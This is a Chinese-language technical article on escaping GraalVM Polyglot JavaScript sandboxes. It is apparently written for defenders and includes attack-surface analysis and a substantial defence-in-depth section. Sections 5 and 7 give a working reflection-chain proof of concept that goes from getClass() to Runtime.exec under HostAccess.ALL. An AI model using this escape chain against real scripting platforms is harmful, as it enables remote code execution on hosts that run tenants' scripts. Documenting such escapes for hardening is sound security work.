GraalVM Polyglot 沙箱逃逸与纵深防御:从反射攻击到安全最佳实践
0. 引言
GraalVM 的 Polyglot(多语言互操作)能力允许在单个 JVM 进程中无缝执行 JavaScript、Python、Ruby 等多种语言。此特性被广泛应用于规则引擎、低代码平台、插件系统和 Serverless 等场景,其 Context 对象常被用作安全沙箱。然而,不当配置会导致严重的沙箱逃逸风险,攻击者可能实现跨上下文远程代码执行。
1. 环境搭建
1.1 安装 GraalVM CE for JDK 21
使用 SDKMAN 工具安装 GraalVM:
curl -s "https://get.sdkman.io" | bash
source "$HOME/.sdkman/bin/sdkman-init.sh"
sdk install java 21.0.2-graalce
1.2 Maven 项目搭建
在 pom.xml 中添加 GraalVM Polyglot 依赖:
<dependency>
<groupId>org.graalvm.polyglot</groupId>
<artifactId>polyglot</artifactId>
<version>${graalvm.version}</version>
</dependency>
<dependency>
<groupId>org.graalvm.polyglot</groupId>
<artifactId>js-community</artifactId>
<version>${graalvm.version}</version>
<type>pom</type>
</dependency>
1.3 模拟安全脚本执行平台
核心组件:
- ScriptHelper.java - 暴露给沙箱的工具类
- SandboxedScriptEngine.java - 使用
HostAccess.EXPLICIT的安全配置 - VulnerableScriptEngine.java - 使用
HostAccess.ALL的危险配置
安全配置示例:
Context context = Context.newBuilder("js")
.allowHostAccess(HostAccess.EXPLICIT) // 仅允许@Export方法
.allowHostClassLookup(s -> false) // 禁止Java.type()
.allowIO(false) // 禁止IO
.allowCreateThread(false) // 禁止创建线程
.allowNativeAccess(false) // 禁止native调用
.allowCreateProcess(false) // 禁止创建进程
.build();
2. GraalVM Polyglot 安全架构
2.1 Context 隔离模型
GraalVM 的安全核心是 Context 对象,通过 allow* 方法控制权限范围:
| 配置选项 | 默认安全值 | 危险值 (allowAllAccess=true) |
|---|---|---|
| allowHostAccess | EXPLICIT | ALL |
| allowHostClassLookup | null | className -> true |
| allowIO | IOAccess.NONE | IOAccess.ALL |
| allowCreateProcess | false | true |
| allowNativeAccess | false | true |
2.2 HostAccess 策略详解
GraalVM 提供了 7 种预定义策略:
- HostAccess.EXPLICIT(默认)- 仅允许访问标注了
@HostAccess.Export的 public 方法 - HostAccess.SCOPED - 增加方法作用域限制,回调参数自动失效
- HostAccess.ALL - 开放所有 public 成员访问权限(包括
getClass()) - NONE/CONSTRAINED/ISOLATED/UNTRUSTED - 更严格的策略
重要警告:官方文档明确指出,HostAccess.ALL 策略不应在不可信环境中使用。
2.3 Value 类型系统与跨语言代理
Java 对象通过 putMember() 注入到 JS 上下文时,GraalVM 创建代理包装。对象图的可遍历性由 HostAccess 策略决定,而非对象设计本身。
3. 攻击面枚举
3.1 攻击面1:暴露的宿主对象方法反射
当使用 HostAccess.ALL 时,所有 public 方法(包括 getClass())均可被脚本调用,为反射链攻击打开入口。
3.2 攻击面2:通过 getClass() 的链式反射调用
getClass() 返回的 Class 对象提供了完整的 Java 反射 API 访问:
- 获取任意类的 Class 对象(
Class.forName()) - 调用任意方法(
Method.invoke()) - 访问任意字段(
Field.get()/set()) - 创建任意实例(
Constructor.newInstance())
3.3 攻击面3:原型链污染跨越语言边界
GraalJS 实现了 ECMAScript 原型链机制。当 allowListAccess 或 allowMapAccess 开启时,Java 集合类型的迭代器和内部节点可能通过原型链暴露。
3.4 攻击面4:Value 对象的成员枚举与类型混淆
Value.getMemberKeys() 允许枚举对象的所有可访问成员,getMetaObject() 可获取类型元信息,在宽松策略下可用于对象图侦察。
3.5 攻击面5:Polyglot Bindings 共享通道
当 allowPolyglotAccess 非 NONE 时,Polyglot.import()/export() 提供跨语言共享通道,可能泄露敏感对象引用。
4. 攻击链构造 — Phase 1:沙箱内侦察
4.1 枚举全局对象
通过 globalThis 或 this 发现注入的宿主对象:
var names = Object.getOwnPropertyNames(globalThis);
var hostObjects = [];
for (var name of names) {
var val = globalThis[name];
if (typeof val === 'object' && val !== null && val !== globalThis) {
hostObjects.push(name);
}
}
4.2 探测暴露对象的可调用成员
枚举 scriptHelper 的所有可访问成员:
var members = Object.getOwnPropertyNames(scriptHelper);
for (var m of members) {
var val = scriptHelper[m];
var type = typeof val;
var info = m + ' : ' + type;
if (type === 'function') {
info += ' (arity=' + val.length + ')';
}
scriptHelper.log(info);
}
关键发现:在 HostAccess.ALL 配置下,getClass() 方法可达,class 属性也暴露为可读对象。
4.3 通过 toString() 获取类型信息
即使在 HostAccess.EXPLICIT 下,toString() 可能通过字符串转换被隐式调用:
var str = scriptHelper.toString(); // 输出: com.security.research.ScriptHelper@293bb8a5
泄露了完整类名和内存地址,为后续反射攻击提供精确信息。
5. 攻击链构造 — Phase 2:getClass() 逃逸
5.1 核心原理
getClass() 是 java.lang.Object 的 public 方法,返回对象的 Class 对象。在 HostAccess.ALL 策略下,攻击者可通过反射链完全绕过沙箱限制:
scriptHelper.getClass() → ClassLoader.loadClass() → Runtime.getRuntime() → exec()
5.2 完整逃逸 PoC
// Step 1: 从任意 Java 对象获取 Class
var clazz = scriptHelper.getClass();
// Step 2: 获取 ClassLoader
var classLoader = clazz.getClassLoader();
var runtimeClass = classLoader.loadClass('java.lang.Runtime');
// Step 3: 获取 getRuntime() 方法
var getRuntimeMethod = runtimeClass.getMethod('getRuntime');
var runtime = getRuntimeMethod.invoke(null);
// Step 4: 获取 exec(String) 方法
var stringClass = classLoader.loadClass('java.lang.String');
var execMethod = runtimeClass.getMethod('exec', stringClass);
// Step 5: 执行系统命令
var process = execMethod.invoke(runtime, 'id');
// Step 6: 读取命令输出
var processClass = classLoader.loadClass('java.lang.Process');
var getInputStream = processClass.getMethod('getInputStream');
var is = getInputStream.invoke(process);
// ... 读取 InputStream 转换为字符串
关键绕过:Context 级的 allowCreateProcess(false) 配置只作用于 GraalJS 语言引擎层面。反射链走的是 JVM 反射层面,不经过语言引擎的权限检查。
6. 攻击链构造 — Phase 3:HostAccess.EXPLICIT 下的绕过
即使使用 HostAccess.EXPLICIT,仍存在多种信息泄露和潜在逃逸路径。
6.1 EXPLICIT 策略的防护边界
仅允许访问标注了 @HostAccess.Export 的 public 方法和字段,getClass()、hashCode() 等 Object 基础方法不可见。但安全性高度依赖暴露方法的返回值类型设计。
6.2 技术1:通过返回值类型进行对象图遍历
如果 @Export 方法返回复杂 Java 对象(如 Map、Properties),攻击者可能访问到未预期的对象图区域:
// 危险设计:返回 Properties 对象而非单个值
@HostAccess.Export
public Properties getAllConfig() {
return System.getProperties(); // 泄露系统属性
}
6.3 技术2:利用 Object 基础方法
toString() 在字符串拼接时被隐式调用:
var info = '' + scriptHelper; // 输出: com.security.research.ScriptHelper@1a2b3c4d
泄露完整类名、包路径和对象哈希码。
6.4 技术3:通过异常对象泄露信息
异常消息和堆栈信息可能包含敏感数据:
try {
scriptHelper.formatDate("not_a_number");
} catch(e) {
scriptHelper.log('Exception: ' + e.message);
scriptHelper.log('Stack trace: ' + e.stack);
}
从异常信息中可获取:
- Java 方法参数类型
- 内部变量名
- 完整 Java 调用栈
- 源文件路径和行号
7. 攻击链构造 — Phase 4:完整 RCE 链
7.1 攻击场景设定
典型的多租户脚本执行场景,采用 HostAccess.ALL 策略注入业务工具对象,同时通过 allowIO(false)、allowCreateProcess(false) 等配置实施权限收敛。
7.2 完整攻击脚本
(function() {
'use strict';
var log = scriptHelper.log;
// Phase 1: 侦察
log('[*] Phase 1: Reconnaissance');
var objClass = scriptHelper.getClass();
log('[+] Target class: ' + objClass.getName());
// Phase 2: 反射链设置
log('[*] Phase 2: Building reflection chain');
function getClass(name) {
return objClass.forName(name);
}
// Phase 3: 通过 ProcessBuilder 执行命令
log('[*] Phase 3: Executing command via ProcessBuilder');
// ... 完整反射链构造
})();
8. 纵深防御方案
8.1 防御层1:最小权限 Context 配置
Context context = Context.newBuilder("js")
.allowHostAccess(HostAccess.SCOPED) // 使用 SCOPED 而非 EXPLICIT
.allowHostClassLookup(s -> false) // 禁止 Java.type()
.allowHostClassLoading(false) // 禁止类加载
.allowIO(IOAccess.NONE) // 完全禁止 IO
.allowCreateThread(false) // 禁止线程
.allowNativeAccess(false) // 禁止 native
.allowCreateProcess(false) // 禁止进程
.allowPolyglotAccess(PolyglotAccess.NONE) // 禁止跨语言访问
.allowEnvironmentAccess(EnvironmentAccess.NONE)
.allowValueSharing(false) // 禁止 Value 共享
.allowExperimentalOptions(false)
.build();
8.2 防御层2:HostAccess 精细化控制
HostAccess customAccess = HostAccess.newBuilder()
.allowAccessAnnotatedBy(HostAccess.Export.class) // 仅允许 @Export
.allowPublicAccess(false) // 禁止所有 public 方法
.allowArrayAccess(false) // 禁止数组访问
.allowListAccess(false) // 禁止 List 访问
.allowMapAccess(false) // 禁止 Map 访问
.allowBufferAccess(false) // 禁止 Buffer 访问
.allowIterableAccess(false) // 禁止 Iterable 访问
.allowIteratorAccess(false) // 禁止 Iterator 访问
.methodScoping(true) // 启用方法作用域
.allowAccessInheritance(false) // 禁止继承访问
.allowImplementationsAnnotatedBy(
HostAccess.Implementable.class) // 仅允许标注接口
.build();
8.3 防御层3:ResourceLimits 防 DoS
ResourceLimits limits = ResourceLimits.newBuilder()
.statementLimit(100_000, null) // 限制语句执行次数
.build();
Context context = Context.newBuilder("js")
.resourceLimits(limits)
.build();
8.4 防御层4:SandboxPolicy(GraalVM 23.0+)
Context context = Context.newBuilder("js")
.sandbox(SandboxPolicy.UNTRUSTED) // 最严格的策略
.out(out) // 必须重定向 stdout
.err(err) // 必须重定向 stderr
.option("engine.MaxIsolateMemory", "256MB")
.option("sandbox.MaxHeapMemory", "128MB")
.option("sandbox.MaxCPUTime", "5s")
.option("sandbox.MaxASTDepth", "100")
.option("sandbox.MaxStackFrames", "50")
.option("sandbox.MaxThreads", "1")
.option("sandbox.MaxOutputStreamSize", "1MB")
.option("sandbox.MaxErrorStreamSize", "1MB")
.build();
8.5 安全加固代码实现
public class SecureSandboxEngine {
// 自定义安全 HostAccess
private static final HostAccess SAFE_ACCESS = HostAccess.newBuilder()
.allowAccessAnnotatedBy(HostAccess.Export.class)
.allowPublicAccess(false)
.allowArrayAccess(false)
.allowListAccess(false)
.allowMapAccess(false)
.allowBufferAccess(false)
.allowIterableAccess(false)
.allowIteratorAccess(false)
.methodScoping(true)
.build();
public static ScriptResult executeScript(String userScript, long timeoutMs) {
ByteArrayOutputStream stdout = new ByteArrayOutputStream();
ByteArrayOutputStream stderr = new ByteArrayOutputStream();
try (Context context = Context.newBuilder("js")
.allowHostAccess(SAFE_ACCESS)
.allowHostClassLookup(s -> false)
.allowHostClassLoading(false)
.allowIO(IOAccess.NONE)
.allowCreateThread(false)
.allowNativeAccess(false)
.allowCreateProcess(false)
.allowPolyglotAccess(PolyglotAccess.NONE)
.allowEnvironmentAccess(EnvironmentAccess.NONE)
.allowValueSharing(false)
.allowExperimentalOptions(false)
.out(stdout)
.err(stderr)
.resourceLimits(
ResourceLimits.newBuilder()
.statementLimit(100_000, null)
.build()
)
.build()) {
// 超时控制
ExecutorService executor = Executors.newSingleThreadExecutor();
Future<String> future = executor.submit(() -> {
Value result = context.eval("js", userScript);
return result.isNull() ? "null" : result.toString();
});
String result = future.get(timeoutMs, TimeUnit.MILLISECONDS);
return new ScriptResult(
true,
stdout.toString(StandardCharsets.UTF_8),
stderr.toString(StandardCharsets.UTF_8),
result
);
} catch (TimeoutException e) {
return new ScriptResult(false, "", "Script execution timed out", null);
} catch (ExecutionException e) {
// 异常信息脱敏
String msg = e.getCause() != null
? e.getCause().getClass().getSimpleName() // 不暴露详细信息
: "Unknown error";
return new ScriptResult(false, "", "Script error: " + msg, null);
}
}
}
安全加固要点:
- 自定义
HostAccess:显式禁用所有集合访问和 public 方法访问 - 超时控制:通过
ExecutorService+Future.get(timeout)实现硬超时 - 输出隔离:
stdout/stderr重定向到ByteArrayOutputStream - 资源限制:通过
ResourceLimits.statementLimit防止无限循环 - 异常信息脱敏:仅返回异常类名,不暴露详细堆栈
- 强制清理:确保 Context 关闭和线程池销毁
9. 技术思考与感悟
-
信任边界管理:GraalVM Polyglot 的安全问题本质上是多语言运行时中的信任边界管理问题。需要在多种语言的对象模型间建立一致的、不可绕过的访问控制。
-
攻击面增长:每增加一种语言支持,攻击面呈指数增长。需要防御的不仅是每种语言内部的逃逸,还包括语言之间的边界穿越。
-
旁路通道风险:即使所有阀门正确设置,通过
putMember()注入的 Java 对象本身就是管道系统中的旁路通道。对象携带的方法、返回值、异常信息都是潜在的信息和权限泄露点。 -
纵深防御原则:沙箱安全性不等于 Context 配置的安全性,必须包括:
- Context 最小权限配置
- HostAccess 精细化控制
- 暴露对象的安全设计
- 输出/异常信息脱敏
- 资源限制和超时控制
-
安全配置的默认值:GraalVM 的默认配置相对安全(
HostAccess.EXPLICIT),但开发者常因便利性而使用HostAccess.ALL,这是实际环境中主要的漏洞来源。 -
未来的改进方向:随着 SecurityManager 的弃用,Java 需要新的安全模型。GraalVM 的 SandboxPolicy 是积极的方向,但需要更多工具和最佳实践的社区支持。